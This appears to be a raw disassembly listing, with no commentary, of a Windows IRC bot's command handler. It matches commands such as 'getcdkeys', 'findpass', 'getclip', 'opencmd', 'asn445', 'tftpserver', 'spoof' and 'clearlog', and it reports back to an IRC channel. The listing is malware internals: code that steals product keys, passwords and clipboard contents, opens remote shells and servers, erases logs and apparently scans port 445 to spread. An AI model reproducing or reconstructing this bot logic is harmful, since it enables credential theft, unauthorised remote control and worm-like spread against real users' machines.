		jz	loc_4043C1
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439E
		push	edi
		push	offset aAl	; "al"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439E
		push	edi
		push	offset aLog	; "log"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AB
		push	edi
		push	offset aLg	; "lg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AB
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404292
		push	edi
		push	offset aClg	; "clg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404292
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404258
		push	edi
		push	offset aNi	; "ni"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404258
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422D
		push	edi
		push	offset aSi	; "si"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422D
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F3
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F3
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D0
		push	edi
		push	offset aPs	; "ps"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D0
		push	edi
		push	offset aGetcdkeys ; "getcdkeys"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B2
		push	edi
		push	offset aKey	; "key"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B2
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402A
		push	edi
		push	offset aUp	; "up"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402A
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400D
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400D
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF4
		push	edi
		push	offset aDll	; "dll"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF4
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB5
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB5
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40340A
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42C888
		push	offset dword_42C87C
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_40340A:				; CODE XREF: sub_401ACD+1923j
		push	edi
		push	offset dword_42C878
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403527
		cmp	[ebp+var_8], ebx
		jnz	short loc_40343E
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C864
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_40343E:				; CODE XREF: sub_401ACD+1955j
		mov	eax, [ebp+arg_18]
		mov	[ebp+arg_20], ebx
		mov	[ebp+arg_18], eax
		jmp	short loc_40344C
; ---------------------------------------------------------------------------


loc_403449:				; CODE XREF: sub_401ACD+19CBj
		mov	eax, [ebp+arg_18]


loc_40344C:				; CODE XREF: sub_401ACD+197Aj
		cmp	[eax], bl
		jz	short loc_403453
		inc	eax
		jmp	short loc_403458
; ---------------------------------------------------------------------------


loc_403453:				; CODE XREF: sub_401ACD+1981j
		mov	eax, offset aEmpty ; "<Empty>"


loc_403458:				; CODE XREF: sub_401ACD+1984j
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_20]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	[ebp+arg_20]
		cmp	[ebp+arg_20], 3
		jl	short loc_403449
		push	offset unk_42C830
		call	sub_4151AC
		pop	ecx


loc_4034A5:				; CODE XREF: sub_401ACD+1C5Aj
					; sub_401ACD+2F43j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401E94
		push	edi
		push	offset aSpoof	; "spoof"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AF4
		mov	esi, [ebp+arg_10]
		push	offset aOff	; "off"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404A22
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C7FC
		push	eax
		mov	dword_4CEDD8, ebx
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4034FD:				; CODE XREF: sub_401ACD+3022j
		cmp	[ebp+var_8], ebx
		jnz	loc_409854
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72


loc_40351F:				; CODE XREF: sub_401ACD+7118j
		add	esp, 14h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_403527:				; CODE XREF: sub_401ACD+194Cj
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F74
		push	edi
		push	offset aGc	; "gc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F74
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5D
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5D
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F25
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F25
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEB
		push	edi
		push	offset aCip	; "cip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEB
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB0
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB0
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C24
		push	edi
		push	offset aHttp	; "http"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C24
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEA
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEA
		push	edi
		push	offset aCrash	; "crash"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036B3
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C754
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403692
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_403692:				; CODE XREF: sub_401ACD+1BA7j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		mov	[esp+10h+var_10], offset aCrash	; "crash"
		push	[ebp+esi+var_7C]
		call	sub_41C070
		jmp	loc_40207C
; ---------------------------------------------------------------------------


loc_4036B3:				; CODE XREF: sub_401ACD+1B8Fj
		push	edi
		push	offset aAsn445	; "asn445"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E6
		push	edi
		push	offset aAsc	; "asc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E6
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403707
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		jmp	loc_401F52
; ---------------------------------------------------------------------------


loc_403707:				; CODE XREF: sub_401ACD+1C1Fj
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40372D
		push	edi
		push	offset aFp	; "fp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034A5


loc_40372D:				; CODE XREF: sub_401ACD+1C49j
		push	[ebp+var_88]
		lea	eax, [ebp+var_F54]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_F58], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_ECC], eax
		push	offset unk_42C6E0
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	26h
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_ED4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F58]
		push	ebx
		push	eax
		push	offset sub_416F1A
		push	ebx
		push	ebx
		nop
		call	near ptr 282060Ah
		mov	ecx, [ebp+var_ED4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_4037D5


loc_4037BF:				; CODE XREF: sub_401ACD+1D06j
		cmp	[ebp+var_EC8], ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2820566h
		jmp	short loc_4037BF
; ---------------------------------------------------------------------------


loc_4037D5:				; CODE XREF: sub_401ACD+1CF0j
		nop
		call	near ptr 2830047h
		push	eax
		push	offset unk_42C6A4
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_4037E6:				; CODE XREF: sub_401ACD+1BF5j
					; sub_401ACD+1C0Aj
		mov	al, byte_431CAA
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_431CAA
		jz	loc_401E94
		mov	ecx, edx


loc_4037FD:				; CODE XREF: sub_401ACD+1D38j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037FD
		cmp	al, bl
		jz	loc_401E94
		mov	[ebp+arg_18], edx
		mov	esi, offset aF	; "#f"


loc_403817:				; CODE XREF: sub_401ACD+2008j
		push	0Bh
		call	sub_40B33E
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 1F4h
		jle	short loc_403866
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C664
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		jmp	loc_403ACC
; ---------------------------------------------------------------------------


loc_403866:				; CODE XREF: sub_401ACD+1D64j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_431AC8, ebx
		mov	[ebp+var_734], 4Bh
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], 320h
		mov	[ebp+arg_0], ebx
		jz	short loc_4038D7
		mov	edi, offset dword_431AC8


loc_40389B:				; CODE XREF: sub_401ACD+1DECj
		mov	eax, [ebp+arg_18]
		add	eax, 0FFFFFFF6h
		push	eax
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4038BD
		inc	[ebp+arg_0]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_40389B
		jmp	short loc_4038D7
; ---------------------------------------------------------------------------


loc_4038BD:				; CODE XREF: sub_401ACD+1DE2j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_431AC8[ecx]
		mov	[ebp+var_74C], ecx


loc_4038D7:				; CODE XREF: sub_401ACD+1DC7j
					; sub_401ACD+1DEEj
		cmp	[ebp+var_74C], ebx
		jz	loc_403AE0
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	edi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D4], edi
		push	[ebp+arg_4]
		call	dword_4CB5C8
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4CB6B0
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41B5F0
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41BE40
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40397F


loc_40395D:				; CODE XREF: sub_401ACD+1EB0j
		cmp	eax, ebx
		jz	short loc_40397F
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_40395D


loc_40397F:				; CODE XREF: sub_401ACD+1E8Ej
					; sub_401ACD+1E92j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_750], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_728], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_724], eax
		mov	edi, 80h
		lea	eax, [ebp+var_850]
		push	edi
		push	eax
		mov	[ebp+var_720], 1
		call	sub_41B980
		push	offset dword_43D7D8
		push	esi
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_4039E1
		push	esi
		lea	eax, [ebp+var_7D0]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4039E7
; ---------------------------------------------------------------------------


loc_4039E1:				; CODE XREF: sub_401ACD+1EFFj
		mov	[ebp+var_7D0], bl


loc_4039E7:				; CODE XREF: sub_401ACD+1F12j
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039F9
		mov	eax, offset aSequential	; "Sequential"


loc_4039F9:				; CODE XREF: sub_401ACD+1F25j
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C5E4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset loc_40C33C
		push	ebx
		push	ebx
		nop
		call	near ptr 282060Ah
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_403A83


loc_403A71:				; CODE XREF: sub_401ACD+1FB4j
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403A9E
		push	32h
		call	near ptr 2820566h
		nop
		jmp	short loc_403A71
; ---------------------------------------------------------------------------


loc_403A83:				; CODE XREF: sub_401ACD+1FA2j
		call	near ptr 2830047h
		nop
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C5A8
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_403A9E:				; CODE XREF: sub_401ACD+1FAAj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403ABF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_403ABF:				; CODE XREF: sub_401ACD+1FD4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_403ACC:				; CODE XREF: sub_401ACD+1D94j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_403817
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_403AE0:				; CODE XREF: sub_401ACD+1E10j
		push	offset unk_42C570
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_403AEA:				; CODE XREF: sub_401ACD+1B65j
					; sub_401ACD+1B7Aj
		push	5
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_403B00
		push	offset unk_42C550
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_403B00:				; CODE XREF: sub_401ACD+2027j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403B23
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_403B37
; ---------------------------------------------------------------------------


loc_403B23:				; CODE XREF: sub_401ACD+203Cj
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2810000h


loc_403B37:				; CODE XREF: sub_401ACD+2054j
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403B47
		mov	esi, offset byte_429108


loc_403B47:				; CODE XREF: sub_401ACD+2073j
		push	esi
		lea	eax, [ebp+var_2C4C]
		push	edi
		push	eax
		call	sub_41B980
		mov	eax, dword_429078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B40],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B44],	ebx
		mov	[ebp+var_2D54],	eax
		lea	eax, [ebp+var_2B3C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_2ABC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2AB8],	eax
		lea	eax, [ebp+var_2D50]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2B40]
		push	offset unk_42C51C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2B48],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D54]
		push	ebx
		push	eax
		push	offset word_411796
		push	ebx
		push	ebx
		nop
		call	near ptr 282060Ah
		mov	ecx, [ebp+var_2B48]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_403C13


loc_403BFD:				; CODE XREF: sub_401ACD+2144j
		cmp	[ebp+var_2AB4],	ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2820566h
		jmp	short loc_403BFD
; ---------------------------------------------------------------------------


loc_403C13:				; CODE XREF: sub_401ACD+212Ej
		call	near ptr 2830047h
		nop
		push	eax
		push	offset unk_42C4E0
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_403C24:				; CODE XREF: sub_401ACD+1B3Bj
					; sub_401ACD+1B50j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403C43
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403C43
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403C48
; ---------------------------------------------------------------------------


loc_403C43:				; CODE XREF: sub_401ACD+2160j
					; sub_401ACD+216Bj
		mov	eax, dword_42907C


loc_403C48:				; CODE XREF: sub_401ACD+2174j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36C8],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B4],	eax
		jz	short loc_403C7B
		lea	eax, [ebp+var_37CC]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_403CA6
; ---------------------------------------------------------------------------


loc_403C7B:				; CODE XREF: sub_401ACD+219Bj
		lea	eax, [ebp+var_4FF4]
		push	104h
		push	eax
		call	near ptr 2820000h
		nop
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4FF4]
		push	eax
		call	sub_41B9D1
		add	esp, 14h


loc_403CA6:				; CODE XREF: sub_401ACD+21ACj
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+eax+var_37CD], 5Ch
		pop	ecx
		jnz	short loc_403CD1
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+eax+var_37CD], bl


loc_403CD1:				; CODE XREF: sub_401ACD+21EEj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A54]
		mov	[ebp+var_3A58],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36B8],	eax
		lea	eax, [ebp+var_37CC]
		mov	[ebp+var_36BC],	edi
		push	eax
		push	[ebp+var_36C8]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C4A4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_36C0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A58]
		push	ebx
		push	eax
		push	offset sub_40F0D5
		push	ebx
		push	ebx
		nop
		call	near ptr 282060Ah
		mov	ecx, [ebp+var_36C0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_403D85


loc_403D73:				; CODE XREF: sub_401ACD+22B6j
		cmp	[ebp+var_36AC],	ebx
		jnz	short loc_403DA0
		push	32h
		nop
		call	near ptr 2820566h
		jmp	short loc_403D73
; ---------------------------------------------------------------------------


loc_403D85:				; CODE XREF: sub_401ACD+22A4j
		nop
		call	near ptr 2830047h
		push	eax
		push	offset unk_42C468


loc_403D91:				; CODE XREF: sub_401ACD+2419j
					; sub_401ACD+4D04j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_403DA0:				; CODE XREF: sub_401ACD+22ACj
					; sub_401ACD+23FDj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		push	edi
		jmp	loc_407285
; ---------------------------------------------------------------------------


loc_403DB0:				; CODE XREF: sub_401ACD+1B11j
					; sub_401ACD+1B26j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403DCF
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403DCF
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403DD4
; ---------------------------------------------------------------------------


loc_403DCF:				; CODE XREF: sub_401ACD+22ECj
					; sub_401ACD+22F7j
		mov	eax, dword_429080


loc_403DD4:				; CODE XREF: sub_401ACD+2300j
		mov	[ebp+var_1824],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403DEB
		lea	eax, [ebp+var_C4]


loc_403DEB:				; CODE XREF: sub_401ACD+2316j
		push	eax
		lea	eax, [ebp+var_1964]
		push	40h
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403E0D
		mov	esi, offset dword_43D7D8


loc_403E0D:				; CODE XREF: sub_401ACD+2339j
		push	esi
		lea	eax, [ebp+var_1924]
		push	100h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_19E4]
		push	[ebp+var_88]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1810],	eax
		lea	eax, [ebp+var_1964]
		push	eax
		mov	[ebp+var_19E8],	esi
		push	[ebp+var_1824]
		mov	[ebp+var_1814],	edi
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C42C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1820],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19E8]
		push	ebx
		push	eax
		push	offset byte_410A4D
		push	ebx
		push	ebx
		nop
		call	near ptr 282060Ah
		mov	ecx, [ebp+var_1820]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_403EDA


loc_403EC4:				; CODE XREF: sub_401ACD+240Bj
		cmp	[ebp+var_180C],	ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2820566h
		jmp	short loc_403EC4
; ---------------------------------------------------------------------------


loc_403EDA:				; CODE XREF: sub_401ACD+23F5j
		nop
		call	near ptr 2830047h
		push	eax
		push	offset unk_42C3F0
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_403EEB:				; CODE XREF: sub_401ACD+1AE7j
					; sub_401ACD+1AFCj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403EFE
		push	esi
		call	sub_41B779
		jmp	short loc_403F05
; ---------------------------------------------------------------------------


loc_403EFE:				; CODE XREF: sub_401ACD+2427j
		push	0Bh
		call	sub_40B35D


loc_403F05:				; CODE XREF: sub_401ACD+242Fj
		cmp	eax, ebx
		pop	ecx
		jz	loc_409854
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA56
		jmp	loc_4043B9
; ---------------------------------------------------------------------------


loc_403F25:				; CODE XREF: sub_401ACD+1ABDj
					; sub_401ACD+1AD2j
		mov	eax, dword_4CB540
		cmp	eax, ebx
		jz	short loc_403F42
		call	eax
		test	eax, eax
		jz	short loc_403F3B
		push	offset unk_42C3CC
		jmp	short loc_403F47
; ---------------------------------------------------------------------------


loc_403F3B:				; CODE XREF: sub_401ACD+2465j
		push	offset unk_42C3A0
		jmp	short loc_403F47
; ---------------------------------------------------------------------------


loc_403F42:				; CODE XREF: sub_401ACD+245Fj
		push	offset unk_42C374


loc_403F47:				; CODE XREF: sub_401ACD+246Cj
					; sub_401ACD+2473j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_406CDB
; ---------------------------------------------------------------------------


loc_403F5D:				; CODE XREF: sub_401ACD+1A93j
					; sub_401ACD+1AA8j
		call	sub_40AB31
		test	eax, eax
		jz	short loc_403F6D
		push	offset unk_42C350
		jmp	short loc_403F47
; ---------------------------------------------------------------------------


loc_403F6D:				; CODE XREF: sub_401ACD+2497j
		push	offset unk_42C324
		jmp	short loc_403F47
; ---------------------------------------------------------------------------


loc_403F74:				; CODE XREF: sub_401ACD+1A69j
					; sub_401ACD+1A7Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F93
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C30C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_403F93:				; CODE XREF: sub_401ACD+24AAj
		push	ebx
		push	[ebp+var_4]
		call	sub_4181D6
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42C2F0
		jmp	loc_404285
; ---------------------------------------------------------------------------


loc_403FB5:				; CODE XREF: sub_401ACD+18F9j
					; sub_401ACD+190Ej
		push	0Ah
		call	sub_40B33E
		test	eax, eax
		pop	ecx
